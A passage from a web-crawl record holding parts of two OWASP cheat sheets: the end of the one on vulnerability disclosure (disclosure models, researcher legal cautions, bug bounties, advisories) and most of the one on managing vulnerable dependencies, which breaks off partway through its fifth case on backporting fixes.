vulnerability, then the details may never be made public. Historically this has lead to researchers getting fed up with companies ignoring and trying to hide vulnerabilities, leading them to the full disclosure approach.\n\n### Full Disclosure¶\n\nWith the full disclosure approach, the full details of the vulnerability are made public as soon as they are identified. This means that the full details (sometimes including exploit code) are available to attackers, often before a patch is available. The full disclosure approach is primarily used in response or organizations ignoring reported vulnerabilities, in order to put pressure on them to develop and publish a fix.\n\nThis makes the full disclosure approach very controversial, and it is seen as irresponsible by many people. Generally it should only be considered as a last resort, when all other methods have failed, or when exploit code is already publicly available.\n\n### Responsible or Coordinated Disclosure¶\n\nResponsible disclosure attempts to find a reasonable middle ground between these two approaches. With responsible disclosure, the initial report is made privately, but with the full details being published once a patch has been made available (sometimes with a delay to allow more time for the patches to be installed).\n\nIn many cases, the researcher also provides a deadline for the organization to respond to the report, or to provide a patch. If this deadline is not met, then the researcher may adopt the full disclosure approach, and publish the full details.\n\nGoogle's [Project Zero](https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html) adopts a similar approach, where the full details of the vulnerability are published after 90 days regardless of whether or not the organization has published a patch.\n\n## Reporting Vulnerabilities¶\n\nThis section is intended to provide guidance for security researchers on how to report vulnerabilities to organizations.\n\n### Warnings and Legality¶\n\nBefore carrying out any security research or reporting vulnerabilities, **ensure that you know and understand the laws in your jurisdiction**. This cheat sheet **does not constitute legal advice, and should not be taken as such.**.\n\nThe following points highlight a number of areas that should be considered:\n\n- If you are carrying out testing under a bug bounty or similar program, the organization may have established [safe harbor](https://disclose.io) policies, that allow you to legally carry out testing, **as long as you stay within the scope and rules of their program** . Make sure that you read the scope carefully - stepping outside of the scope and rules may be a criminal offense.\n- Some countries have laws restricting reverse engineering, so testing against locally installed software may not be permitted.\n- Do not demand payment or other rewards as a condition of providing information on security vulnerabilities, or in exchange for not publishing the details or reporting them to industry regulators, as this may constitute extortion.\n- If you receive bug bounty payments, these are generally considered as income, meaning that they may be taxable. Reporting this income and ensuring that you pay the appropriate tax on it is **your** responsibility.\n- If you find vulnerabilities as part of your work, or on equipment owned by your employer, your employer may prevent you from reporting these or claiming a bug bounty. Read your contract carefully and consider taking legal advice before doing so.\n\n### Finding Contact Details¶\n\nThe first step in reporting a vulnerability is finding the appropriate person to report it to. Although some organizations have clearly published disclosure policies, many do not, so it can be difficult to find the correct place to report the issue.\n\nWhere there is no clear disclosure policy, the following areas may provide contact details:\n\n- Bug bounty programs such as [BugCrowd](https://bugcrowd.com/programs) , [HackerOne](https://hackerone.com/directory/programs) , [huntr.dev](https://huntr.dev/bounties) , [Open Bug Bounty](https://www.openbugbounty.org) or [Standoff](https://bugbounty.standoff365.com) .\n- A [security.txt](https://securitytxt.org) file on the website at `/.well-known/security.txt` as per [RFC 9116](https://www.rfc-editor.org/rfc/rfc9116.html#name-location-of-the-securitytxt) . At minimum include the required Contact and Expires fields; optional fields such as Preferred-Languages, Canonical, Policy, and Hiring improve routing for ethical researchers.\n- An existing issue tracking system.\n- Generic email addresses such as `security@` or `abuse@` .\n- The generic \"Contact Us\" page on the website.\n- Social media platforms.\n- Phoning the organization.\n- Reaching out to the community.\n\nWhen reaching out to people who are not dedicated security contacts, request the details for a relevant member of staff, rather than disclosing the vulnerability details to whoever accepts the initial contact (especially over social media).\n\nIf it is not possible to contact the organization directly, a national or sector-based [CERT](https://en.wikipedia.org/wiki/Computer_emergency_response_team) may be able to assist.\n\n### Initial Report¶\n\nOnce a security contact has been identified, an initial report should be made of the details of the vulnerability. Ideally this should be done over an encrypted channel (such as the use of PGP keys), although many organizations do not support this.\n\nThe initial report should include:\n\n- Sufficient details of the vulnerability to allow it to be understood and reproduced.\n- HTTP requests and responses, HTML snippets, screenshots or any other supporting evidence.\n - Redact any personal data before reporting.\n - Some organizations may try and claim vulnerabilities never existed, so ensure you have sufficient evidence to prove that they did.\n- Proof of concept code (if available).\n- The impact of the vulnerability.\n- Any references or further reading that may be appropriate.\n\nIn many cases, especially in smaller organizations, the security reports may be handled by developers or IT staff who do not have a security background. This means that they may not be familiar with many security concepts or terminology, so reports should be written in clear and simple terms.\n\nIt may also be beneficial to provide a recommendation on how the issue could be mitigated or resolved. However, unless the details of the system or application are known, or you are very confident in the recommendation then it may be better to point the developers to some more general guidance (such as an OWASP cheat sheet).\n\nIf you are planning to publish the details of the vulnerability after a period of time (as per some responsible disclosure policies), then this should be clearly communicated in the initial email - but try to do so in a tone that doesn't sound threatening to the recipient.\n\nIf the organization does not have an established bug bounty program, then avoid asking about payments or rewards in the initial contact - leave it until the issue has been acknowledged (or ideally fixed). In particular, **do not demand payment before revealing the details of the vulnerability**. At best this will look like an attempt to scam the company, at worst it may constitute extortion.\n\n### Ongoing Communication¶\n\nWhile simpler vulnerabilities might be resolved solely from the initial report, in many cases there will be a number of emails back and forth between the researcher and the organization. Especially for more complex vulnerabilities, the developers or administrators may ask for additional information or recommendations on how to resolve the issue. They may also ask for assistance in retesting the issue once a fix has been implemented. Although there is no obligation to carry out this retesting, as long as the request is reasonable then and providing feedback on the fixes is very beneficial.\n\nIt may also be necessary to chase up the organization if they become unresponsive, or if the established deadline for publicly disclosing the vulnerability is approaching. Ensure that this communication stays professional and positive - if the disclosure process becomes hostile then neither party will benefit.\n\nBe patient if it's taking a while for the issue to be resolved. The developers may be under significant pressure from different people within the organization, and may not be able to be fully open in their communication. Triaging, developing, reviewing, testing and deploying a fix within in an enterprise environment takes **significantly** more time than most researchers expect, and being constantly hassled for updates just adds another level of pressure on the developers.\n\n### When to Give Up¶\n\nDespite every effort that you make, some organizations are not interested in security, are impossible to contact, or may be actively hostile to researchers disclosing vulnerabilities. In some cases they may even threaten to take legal action against researchers. When this happens it is very disheartening for the researcher - it is important not to take this personally. When this happens, there are a number of options that can be taken.\n\n- Publicly disclose the vulnerability, and deal with any negative reaction and potentially even a lawsuit. Whether or not they have a strong legal case is irrelevant - they have expensive lawyers and fighting any kind of legal action is expensive and time consuming. Before going down this route, ask yourself *is it really worth it?*\n- Anonymously disclose the vulnerability. However, if you've already made contact with the organization and tried to report the vulnerability to them, it may be pretty obvious who's responsible behind the disclosure. If you are going to take this approach, ensure that you have taken sufficient operational security measures to protect yourself.\n- Report the vulnerability to a third party, such as an industry regulator or data protection authority.\n- Move on.\n\nThere are many organizations who have a genuine interest in security, and are very open and co-operative with security researchers. Unless the vulnerability is extremely serious, **it is not worth burning yourself out, or risking your career and livelihood over an organization who doesn't care**.\n\n### Publishing¶\n\nOnce a vulnerability has been patched (or not), then a decision needs to be made about publishing the details. This should ideally be done through discussion with the vendor, and at a minimum the vendor should be notified that you intend to publish, and provided with a link to the published details. The disclosure would typically include:\n\n- A high level summary of the vulnerability and its impact.\n- Details of which version(s) are vulnerable, and which are fixed.\n- Technical details or potentially proof of concept code.\n- Mitigations or workarounds.\n- Links to the vendor's published advisory.\n- The timeline for the discovery, vendor communication and release.\n\nSome organizations may request that you do not publish the details at all, or that you delay publication to allow more time to their users to install security patches. In the interest of maintaining a positive relationship with the organization, it is worth trying to find a compromise position on this.\n\nWhether to publish working proof of concept (or functional exploit code) is a subject of debate. Some people will view this as an unethical move, and will argue that by doing so you are directly helping criminals compromise their users. On the other hand, the code can be used to both system administrators and penetration testers to test their systems, and attackers will be able to develop or reverse engineering working exploit code if the vulnerability is sufficiently valuable.\n\nIf you are publishing the details in hostile circumstances (such as an unresponsive organization, or after a stated period of time has elapsed) then you may face threats and even legal action. Whether there is any legal basis for this will depend on your jurisdiction, and whether you signed any form of non-disclosure agreement with the organization. Make sure you understand your legal position before doing so.\n\nNote that many bug bounty programs forbid researchers from publishing the details without the agreement of the organization. If you choose to do so, you may forfeit the bounty or be banned from the platform - so read the rules of the program before publishing.\n\n## Receiving Vulnerability Reports¶\n\nThis section is intended to provide guidance for organizations on how to accept and receive vulnerability reports.\n\n### Bug Bounty Programs¶\n\nBug bounty programs incentivize researchers to identify and report vulnerabilities to organizations by offering rewards. These are usually monetary, but can also be physical items (swag). The process is often managed through a third party such as [BugCrowd](https://bugcrowd.com/programs) or [HackerOne](https://hackerone.com/directory/programs), who provide mediation between researchers and organizations.\n\nWhen implementing a bug bounty program, the following areas need to be clearly defined:\n\n- Which systems and applications are in scope.\n - Live systems or a staging/UAT environment?\n - Excluding systems managed or owned by third parties.\n- Which types of vulnerabilities are eligible for bounties (SSL/TLS issues? Missing HTTP security headers? Version disclosure?)\n- Legal provisions such as safe harbor policies.\n - The [disclose.io](https://disclose.io) project provides some example policies.\n - Take legal advice from lawyers, **not from this cheat sheet** .\n- How much to offer for bounties, and how is the decision made.\n - The program could get very expensive if a large number of vulnerabilities are identified.\n - Too little and researchers may not bother with the program.\n- The timeline for the initial response, confirmation, payout and issue resolution.\n\n#### When to Implement a Bug Bounty Program¶\n\nBug bounty have been adopted by many large organizations such as Microsoft, and are starting to be used outside of the commercial sector, including the US Department of Defense. However, for smaller organizations they can bring significant challenges, and require a substantial investment of time and resources. These challenges can include:\n\n- Having sufficient time and resources to respond to reports.\n- Having sufficiently skilled staff to effectively triage reports.\n - Reports may include a large number of junk or false positives.\n - Managed bug bounty programs may help by performing initial triage (at a cost).\n- Dealing with large numbers of false positives and junk reports.\n- The impact of individuals testing live systems (including unskilled attackers running automated tools they don't understand).\n- Being unable to differentiate between legitimate testing traffic and malicious attacks.\n- Researchers going out of scope and testing systems that they shouldn't.\n- The financial cost of running the program (some companies pay out hundreds of thousands of dollars a year in bounties).\n- Dealing with researchers who are unhappy with how the program is run (such as disputing bounty amounts, or being angry when reported issues are duplicates or out of scope).\n\nDespite these potential issues, bug bounty programs are a great way to identify vulnerabilities in applications and systems. However, they should only be used by organizations that already have a mature vulnerability disclosure process, supported by strong internal processes to resolve vulnerabilities.\n\n### Publishing Contact Details¶\n\nThe most important step in the process is providing a way for security researchers to contact your organization. The easier it is for them to do so, the more likely it is that you'll receive security reports. The following list includes some of the common mechanisms that are used for this - the more of these that you can implement the better:\n\n- A dedicated security contact on the \"Contact Us\" page.\n- Dedicated instructions for reporting security issues on a bug tracker.\n- The common `security@` email address.\n- A [security.txt](https://securitytxt.org) file on the website at `/.well-known/security.txt` as per [RFC 9116](https://www.rfc-editor.org/rfc/rfc9116.html#name-location-of-the-securitytxt) . At minimum include the required Contact and Expires fields; optional fields such as Preferred-Languages, Canonical, Policy, and Hiring improve routing for ethical researchers.\n- Using third party bug bounty program.\n\nIt is also important to ensure that frontline staff (such as those who monitor the main contact address, web chat and phone lines) are aware of how to handle reports of security issues, and who to escalate these reports to within the organization.\n\n#### Providing Reporting Guidelines¶\n\nAlongside the contact details, it is also good to provide some guidelines for researchers to follow when reporting vulnerabilities. These could include:\n\n- Requesting specific information that may help in confirming and resolving the issue.\n- Using specific categories or marking the issue as confidential on a bug tracker.\n- Providing PGP keys for encrypted communication.\n- Establishing a timeline for an initial response and triage.\n- Establishing safe harbor provisions.\n\n### Communicating With Researchers¶\n\nCommunication between researchers and organizations is often one of the hardest points of the vulnerability disclosure process, and can easily leave both sides frustrated and unhappy with the process.\n\nThe outline below provides an example of the ideal communication process:\n\n- Respond to the initial request for contact details with a clear mechanism for the researcher to provide additional information.\n- Acknowledge the vulnerability details and provide a timeline to carry out triage.\n- Request additional clarification or details if required.\n- Confirm the vulnerability and provide a timeline for implementing a fix.\n - Confirm the details of any reward or bounty offered.\n- If required, request the researcher to retest the vulnerability.\n- Confirm that the vulnerability has been resolved.\n\nThroughout the process, provide regular updates of the current status, and the expected timeline to triage and fix the vulnerability. Even if there is no firm timeline for these, the ongoing communication provides some reassurance that the vulnerability hasn't been forgotten about.\n\n#### Researchers Demanding Payment¶\n\nSome individuals may approach an organization claiming to have found a vulnerability, and demanding payment before sharing the details. Although these requests *may* be legitimate, in many cases they are simply scams.\n\nOne option is to request that they carry out the disclosure through a mediated bug bounty platform, which can provide a level of protection for both sides, as scammers are unlikely to be willing to use these platforms.\n\n### Disclosure¶\n\n#### Commercial and Open Source Software¶\n\nOnce the vulnerability has been resolved (and retested), the details should be published in a security advisory for the software. It is important to remember that publishing the details of security issues **does not make the vendor look bad**. All software has security vulnerabilities, and demonstrating a clear and established process for handling and disclosing them gives far more confidence in the security of the software than trying to hide the issues.\n\nAt a minimum, the security advisory must contain:\n\n- A high level summary of the vulnerability, including the impact.\n- A clear list of vulnerable versions.\n- A clear list of patch versions.\n- Any caveats on when the software is vulnerable (for example, if only certain configurations are affected).\n- Any workarounds or mitigation that can be implemented as a temporary fix.\n- A [CVE](https://cve.mitre.org/cve/request_id.html) for the vulnerability.\n\nWhere possible it is also good to include:\n\n- The timeline of the vulnerability disclosure process.\n- Credit for the researcher who identified the vulnerability.\n- Technical details of the vulnerability.\n- IDS/IPS signatures or other indicators of compromise.\n\nSecurity advisories should be easy for developers and system administrators to find. Common ways to publish them include:\n\n- A dedicated \"security\" or \"security advisories\" page on the website.\n- A security mailing list or forum.\n- Linked from the main changelogs and release notes.\n\nSome researchers may publish their own technical write ups of the vulnerability, which will usually include the full details required to exploit it (and sometimes even working exploit code). For more serious vulnerabilities, it may be sensible to ask the researcher to delay publishing the full details for a period of time (such as a week), in order to give system administrators more time to install the patches before exploit code is available. However, once the patch has been releases, attackers will be able to reverse engineer the vulnerability and develop their own exploit code, so there is limited value to delaying the full release.\n\n#### Private Systems¶\n\nFor vulnerabilities in private systems, a decision needs to be made about whether the details should be published once the vulnerability has been resolved. Most bug bounty programs give organizations the option about whether to disclose the details once the issue has been resolved, although it is not typically required.\n\nPublishing these details helps to demonstrate that the organization is taking proactive and transparent approach to security, but can also result in potentially embarrassing omissions and misconfigurations being made public. In the event of a future compromise or data breach, they could also potentially be used as evidence of a weak security culture within the organization. Additionally, they may expose technical details about internal, and could help attackers identify other similar issues. As such, this decision should be carefully evaluated, and it may be wise to take legal advice.\n\n### Rewarding Researchers¶\n\nWhere researchers have identified and reported vulnerabilities outside of a bug bounty program (essentially providing free security testing), and have acted professionally and helpfully throughout the vulnerability disclosure process, it is good to offer them some kind of reward to encourage this kind of positive interaction in future. If monetary rewards are not possible then a number of other options should be considered, such as:\n\n- Discounts or credit for services or products offered by the organization.\n- Virtual rewards (such as special in-game items, custom avatars, etc).\n- T-shirts, stickers and other branded items (swag).\n- Credit in a \"hall of fame\", or other similar acknowledgement.\n\n## Further Reading¶\n\n- [The CERT Guide to Coordinated Vulnerability Disclosure](https://vuls.cert.org/confluence/display/CVD/The+CERT+Guide+to+Coordinated+Vulnerability+Disclosure)\n- [HackerOne's Vulnerability Disclosure Guidelines](https://www.hackerone.com/disclosure-guidelines)\n- [Disclose.io's Vulnerability Disclosure Terms](https://github.com/disclose/disclose/tree/master/terms)", "znaku_textu": 24494, "slov": 3645, "odkazu": 169, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:19", "sha256": "c7c5a0829989cda460b6adca24c08ee7b8d37118905b3ba005731dfabf77f003", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html", "https://disclose.io/", "https://bugcrowd.com/programs", "https://hackerone.com/directory/programs", "https://huntr.dev/bounties", "https://www.openbugbounty.org/", "https://bugbounty.standoff365.com/", "https://securitytxt.org/", "https://www.rfc-editor.org/rfc/rfc9116.html", "https://en.wikipedia.org/wiki/Computer_emergency_response_team", "https://cve.mitre.org/cve/request_id.html", "https://vuls.cert.org/confluence/display/CVD/The+CERT+Guide+to+Coordinated+Vulnerability+Disclosure", "https://www.hackerone.com/disclosure-guidelines", "https://github.com/disclose/disclose/tree/master/terms", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "titulek": "Vulnerable Dependency Management - OWASP Cheat Sheet Series", "h1": "Vulnerable Dependency Management Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Vulnerable Dependency Management Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Context¶"}, {"uroven": 2, "text": "Remark about the detection¶"}, {"uroven": 3, "text": "1. Responsible disclosure¶"}, {"uroven": 3, "text": "2. Full disclosure¶"}, {"uroven": 2, "text": "Remark about the security issue handling decision¶"}, {"uroven": 2, "text": "Cases¶"}, {"uroven": 3, "text": "Case 1¶"}, {"uroven": 4, "text": "Context¶"}, {"uroven": 4, "text": "Ideal condition of application of the approach¶"}, {"uroven": 4, "text": "Approach¶"}, {"uroven": 3, "text": "Case 2¶"}, {"uroven": 4, "text": "Context¶"}, {"uroven": 4, "text": "Ideal condition of application of the approach¶"}, {"uroven": 4, "text": "Approach¶"}, {"uroven": 3, "text": "Case 3¶"}, {"uroven": 4, "text": "Context¶"}, {"uroven": 4, "text": "Ideal condition of application of the approach¶"}, {"uroven": 4, "text": "Approach¶"}, {"uroven": 3, "text": "Case 4¶"}, {"uroven": 4, "text": "Context¶"}, {"uroven": 4, "text": "Ideal condition of application of the approach¶"}, {"uroven": 4, "text": "Approach¶"}, {"uroven": 3, "text": "Case 5¶"}, {"uroven": 4, "text": "Context¶"}, {"uroven": 4, "text": "Ideal condition of application of the approach¶"}, {"uroven": 4, "text": "Approach¶"}, {"uroven": 2, "text": "Tools¶"}, {"uroven": 3, "text": "Remediation and maintained backports¶"}], "markdown": "# Vulnerable Dependency Management Cheat Sheet¶\n\n## Introduction¶\n\nThe objective of the cheat sheet is to provide a proposal of approach regarding the handling of vulnerable third-party dependencies when they are detected, and this, depending on different situation.\n\nThe cheat sheet is not tools oriented but it contains a tools section informing the reader about free and commercial solutions that can be used to detect vulnerable dependencies, depending on the level of support on the technologies at hand\n\n**Note:**\n\nProposals mentioned in this cheat sheet are not silver-bullet (recipes that work in all situations) yet can be used as a foundation and adapted to your context.\n\n## Context¶\n\nMost of the projects use third-party dependencies to delegate handling of different kind of operations, *e.g.* generation of document in a specific format, HTTP communications, data parsing of a specific format, etc.\n\nIt's a good approach because it allows the development team to focus on the real application code supporting the expected business feature. The dependency brings forth an expected downside where the security posture of the real application is now resting on it.\n\nThis aspect is referenced in the following projects:\n\n- [OWASP TOP 10 2017](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/) under the point *[A9 - Using Components with Known Vulnerabilities](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities.html)* .\n- [OWASP Application Security Verification Standard Project](https://owasp.org/www-project-application-security-verification-standard/) under the section *V14.2 Dependency* .\n\nBased on this context, it's important for a project to ensure that all the third-party dependencies implemented are clean of any security issue, and if they happen to contain any security issues, the development team needs to be aware of it and apply the required mitigation measures to secure the affected application.\n\nIt's highly recommended to perform automated analysis of the dependencies from the birth of the project. Indeed, if this task is added at the middle or end of the project, it can imply a huge amount of work to handle all the issues identified and that will in turn impose a huge burden on the development team and might to blocking the advancement of the project at hand.\n\n**Note:**\n\nIn the rest of the cheat sheet, when we refer to *development team* then we assume that the team contains a member with the required application security skills or can refer to someone in the company having these kind of skills to analyze the vulnerability impacting the dependency.\n\n## Remark about the detection¶\n\nIt's important to keep in mind the different ways in which a security issue is handled after its discovery.\n\n### 1. Responsible disclosure¶\n\nSee a description [here](https://en.wikipedia.org/wiki/Responsible_disclosure).\n\nA researcher discovers a vulnerability in a component, and after collaboration with the component provider, they issue a [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) (sometimes a specific vulnerability identifier to the provider is created but generally a CVE identifier is preferred) associated to the issue allowing the public referencing of the issue as well as the available fixation/mitigation.\n\nIf in case the provider doesn't properly cooperate with the researcher, the following results are expected:\n\n- CVE gets accepted by the vendor yet the provider [refuses to fix the issue](https://www.excellium-services.com/cert-xlm-advisory/cve-2019-7161/) .\n- Most of the time, if the researcher doesn't receive back a response in 30 days, they go ahead and do a full disclosure of the vulnerability.\n\nHere, the vulnerability is always referenced in the [CVE global database](https://nvd.nist.gov/vuln/data-feeds) used, generally, by the detection tools as one of the several input sources used.\n\n### 2. Full disclosure¶\n\nSee a description [here](https://en.wikipedia.org/wiki/Full_disclosure), into the section named **Computers** about **Computer Security**.\n\nThe researcher decides to release all the information including exploitation code/method on services like [Full Disclosure mailing list](https://seclists.org/fulldisclosure/), [Exploit-DB](https://www.exploit-db.com).\n\nHere a CVE is not always created then the vulnerability is not always in the CVE global database causing the detection tools to be potentially blind about unless the tools use other input sources.\n\n## Remark about the security issue handling decision¶\n\nWhen a security issue is detected, it's possible to decide to accept the risk represented by the security issue. However, this decision must be taken by the [Chief Risk Officer](https://en.wikipedia.org/wiki/Chief_risk_officer) (fallback possible to [Chief Information Security Officer](https://en.wikipedia.org/wiki/Chief_information_security_officer)) of the company based on technical feedback from the development team that have analyzed the issue (see the *Cases* section) as well as the CVEs [CVSS](https://www.first.org/cvss/user-guide) score indicators.\n\n## Cases¶\n\nWhen a security issue is detected, the development team can meet one of the situations (named *Case* in the rest of the cheat sheet) presented in the sub sections below.\n\nIf the vulnerably impact a [transitive dependency](https://en.wikipedia.org/wiki/Transitive_dependency) then the action will be taken on the direct dependency of the project because acting on a transitive dependency often impact the stability of the application.\n\nActing on a on a transitive dependency require the development team to fully understand the complete relation/communication/usage from the project first level dependency until the dependency impacted by the security vulnerability, this task is very time consuming.\n\n### Case 1¶\n\n#### Context¶\n\nPatched version of the component has been released by the provider.\n\n#### Ideal condition of application of the approach¶\n\nSet of automated unit or integration or functional or security tests exist for the features of the application using the impacted dependency allowing to validate that the feature is operational.\n\n#### Approach¶\n\n**Step 1:**\n\nUpdate the version of the dependency in the project on a testing environment.\n\n**Step 2:**\n\nPrior to running the tests, 2 output paths are possible:\n\n- All tests succeed, and thus the update can be pushed to production.\n- One or several tests failed, several output paths are possible:\n - Failure is due to change in some function calls ( *e.g.* signature, argument, package, etc.). The development team must update their code to fit the new library. Once that is done, re-run the tests.\n - The fixed version cannot be adopted at all ( *e.g.* the fix only ships in a new major version that breaks the application, or the vulnerable version is pinned by a transitive dependency). Apply Case 5 , using Case 2 as an interim mitigation.\n - Technical incompatibility of the released dependency ( *e.g.* require a more recent runtime version) which leads to the following actions:\n 1. Raise the issue to the provider.\n 2. Apply Case 2 while waiting for the provider's feedback.\n\n### Case 2¶\n\n#### Context¶\n\nProvider informs the team that it will take a while to fix the issue and, so, a patched version will not be available before months.\n\n#### Ideal condition of application of the approach¶\n\nProvider can share any of the below with the development team:\n\n- The exploitation code.\n- The list of impacted functions by the vulnerability.\n- A workaround to prevent the exploitation of the issue.\n\n#### Approach¶\n\n**Step 1:**\n\nIf a workaround is provided, it should be applied and validated on the testing environment, and thereafter deployed to production.\n\nIf the provider has given the team a list of the impacted functions, protective code must wrap the calls to these functions to ensure that the input and the output data is safe.\n\nMoreover, security devices, such as the Web Application Firewall (WAF), can handle such issues by protecting the internal applications through parameter validation and by generating detection rules for those specific libraries. Yet, in this cheat sheet, the focus is set on the application level in order to patch the vulnerability as close as possible to the source.\n\n*Example using java code in which the impacted function suffers from a [Remote Code Execution](https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/) issue:*\n\n```\npublic void callFunctionWithRCEIssue(String externalInput){ //Apply input validation on the external input using regex if(Pattern.matches(\"[a-zA-Z0-9]{1,50}\", externalInput)){ //Call the flawed function using safe input functionWithRCEIssue(externalInput); }else{ //Log the detection of exploitation SecurityLogger.warn(\"Exploitation of the RCE issue XXXXX detected !\"); //Raise an exception leading to a generic error send to the client... } } \n```\n\nIf the provider has provided nothing about the vulnerability, Case 3 can be applied skipping the *step 2* of this case. We assume here that, at least, the [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) has been provided.\n\n**Step 2:**\n\nIf the provider has provided the team with the exploitation code, and the team made a security wrapper around the vulnerable library/code, execute the exploitation code in order to ensure that the library is now secure and doesn't affect the application.\n\nIf you have a set of automated unit or integration or functional or security tests that exist for the application, run them to verify that the protection code added does not impact the stability of the application.\n\nAdd a comment in the project *README* explaining that the issue (specify the related [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures)) is handled during the waiting time of a patched version because the detection tool will continue to raise an alert on this dependency.\n\n**Note:** You can add the dependency to the ignore list but the ignore scope for this dependency must only cover the [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) related to the vulnerability because a dependency can be impacted by several vulnerabilities having each one its own [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures).\n\n### Case 3¶\n\n#### Context¶\n\nProvider informs the team that they cannot fix the issue, so no patched version will be released at all (applies also if provider does not want to fix the issue or does not answer at all).\n\nIn this case the only information given to the development team is the [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures).\n\n**Notes:**\n\n- This case is really complex and time consuming and is generally used as last resort.\n- If the impacted dependency is an open source library then we, the development team, can create a patch and create [pull request](https://help.github.com/en/articles/about-pull-requests) - that way we can protect our company/application from the source as well as helping others secure their applications.\n\n#### Ideal condition of application of the approach¶\n\nNothing specific because here we are in a *patch yourself* condition.\n\n#### Approach¶\n\n**Step 1:**\n\nIf we are in this case due to one of the following conditions, it's a good idea to start a parallel study to find another component better maintained or if it's a commercial component with support **then put pressure** on the provider with the help of your [Chief Risk Officer](https://en.wikipedia.org/wiki/Chief_risk_officer) (fallback possible to [Chief Information Security Officer](https://en.wikipedia.org/wiki/Chief_information_security_officer)):\n\n- Provider does not want to fix the issue.\n- Provider does not answer at all.\n\nIn all cases, here, we need to handle the vulnerability right now.\n\n**Step 2:**\n\nAs we know the vulnerable dependency, we know where it is used in the application (if it's a transitive dependency then we can identify the first level dependency using it using the [IDE](https://en.wikipedia.org/wiki/Integrated_development_environment) built-in feature or the dependency management system used (Maven, Gradle, NuGet, npm, etc.). Note that IDE is also used to identify the calls to the dependency.\n\nIdentifying calls to this dependency is fine but it is the first step. The team still lacks information on what kind of patching needs to be performed.\n\nTo obtain these information, the team uses the CVE content to know which kind of vulnerability affects the dependency. The `description` property provides the answer: SQL injection, Remote Code Execution, Cross-Site Scripting, Cross-Site Request Forgery, etc.\n\nAfter identifying the above 2 points, the team is aware of the type of patching that needs to be taken (Case 2 with the protective code) and where to add it.\n\n*Example:*\n\nThe team has an application using the Jackson API in a version exposed to the [CVE-2016-3720](https://nvd.nist.gov/vuln/detail/CVE-2016-3720).\n\nThe description of the CVE is as follows:\n\n```\nXML external entity (XXE) vulnerability in XmlMapper in the Data format extension for Jackson\n(aka jackson-dataformat-xml) allows attackers to have unspecified impact via unknown vectors.\n```\n\nBased on these information, the team determines that the necessary patching will be to add a [pre-validation of any XML data](XML_External_Entity_Prevention_Cheat_Sheet.html) passed to the Jakson API to prevent [XML external entity (XXE)](https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/) vulnerability.\n\n**Step 3:**\n\nIf possible, create a unit test that mimics the vulnerability in order to ensure that the patch is effective and have a way to continuously ensure that the patch is in place during the evolution of the project.\n\nIf you have a set of automated unit or integration or functional or security tests that exists for the application then run them to verify that the patch does not impact the stability of the application.\n\nA patch written in-house does not get the benefit of the doubt that an upstream release gets, so hold it to an explicit bar before considering the vulnerability handled:\n\n- The test reproducing the vulnerability fails against the unpatched dependency and passes against the patched one. A test that passes in both cases proves nothing about the patch.\n- The tests of the dependency itself still pass, which catches behavior that the patch broke but the application does not exercise directly.\n- The alert raised by the detection tool is suppressed per [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) only once the two points above hold. Suppressing the alert, or changing a version string so that the tool stops matching it, records a fix but does not make one.\n\nExpect the tool to keep flagging the dependency even after a correct patch, because [looking at the version number of a package will not tell you whether the fix is present](https://access.redhat.com/security/updates/backporting). That is a reporting problem to be handled with a scoped suppression, not a reason to change the patch.\n\n### Case 4¶\n\n#### Context¶\n\nThe vulnerable dependency is found during one of the following situation in which the provider is not aware of the vulnerability:\n\n- Via the discovery of a full disclosure post on the Internet.\n- During a penetration test.\n\n#### Ideal condition of application of the approach¶\n\nProvider collaborates with you after being notified of the vulnerability.\n\n#### Approach¶\n\n**Step 1:**\n\nInform the provider about the vulnerability by sharing the post with them.\n\n**Step 2:**\n\nUsing the information from the full disclosure post or the pentester's exploitation feedback, if the provider collaborates then apply Case 2, otherwise apply Case 3, and instead of analyzing the CVE information, the team needs to analyze the information from the full disclosure post/pentester's exploitation feedback.\n\n### Case 5¶\n\n#### Context¶\n\nA fixed version has been released by the provider, but the project cannot adopt it:\n\n- The fix only ships in a new major version that breaks the application code.\n- The vulnerable version is pinned by a [transitive dependency](https://en.wikipedia.org/wiki/Transitive_dependency) that has not been updated yet.\n- The version line in use is no longer maintained and the fix landed only on a newer line.\n\nThis is not Case 3: the fix exists and is public, so nothing has to be invented, but it has to be moved onto the version line that the project can actually run. That practice is called *backporting*, and operating system vendors have handled the same problem this way for years. [Debian](https://www.debian.org/security/faq) states that \"instead of upgrading to a new release we backport security fixes to the version that was shipped in the stable release\", and [Red Hat](https://access.redhat.com/security/updates/backporting) defines backporting as \"the action of taking a fix for a security flaw out of the most recent version of an upstream software package and applying that fix to an older version\".\n\n#### Ideal condition of application of the approach¶\n\nThe upstream fix can be identified (a commit, a patch file, or an advisory precise enough to locate the change), the source of the version in use is available, and automated tests exist for the application features using the dependency.\n\n#### Approach¶\n\n**Step 